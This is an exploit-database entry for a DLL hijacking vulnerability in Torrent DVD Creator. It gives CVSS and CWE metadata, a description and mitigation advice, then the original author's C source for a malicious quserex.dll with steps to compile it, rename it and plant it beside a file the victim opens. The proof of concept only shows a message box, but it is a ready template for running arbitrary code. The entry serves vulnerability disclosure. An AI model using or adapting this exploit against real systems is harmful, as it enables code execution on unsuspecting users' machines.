Torrent DVD Creator DLL Hijacking Exploit (quserex.dll)

vendor:

Torrent DVD Creator

by:

anT!-Tr0J4n

7.5

CVSS

HIGH

Arbitrary Code Execution

CWE

Product Name: Torrent DVD Creator

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: a:torrent_dvd_creator

Metasploit:

Other Scripts:

Platforms Tested: Windows XP sp3

Unknown

Torrent DVD Creator DLL Hijacking Exploit (quserex.dll)

The Torrent DVD Creator application is vulnerable to a DLL hijacking exploit. An attacker can trick a user into opening a file from a network share location that contains a specially crafted DLL file, which allows the attacker to execute arbitrary code.

Mitigation:

It is recommended to update Torrent DVD Creator to the latest version or apply any patches or security updates provided by the vendor. Additionally, users should exercise caution when opening files from untrusted sources.

Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/44054/info

Torrent DVD Creator is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

/*
#Torrent DVD Creator DLL Hijacking Exploit (quserex.dll)

#Author    :   anT!-Tr0J4n

#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Software :   http://www.torrentrockyou.com

#Tested on:   Windows. XP sp3

#Home     :   www.Dev-PoinT.com


==========================
How  TO use : Compile and rename to  quserex.dll , create a file in the same dir with one of the following extensions.

 check the result > Hack3d    
         
==========================

# quserex.dll(code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}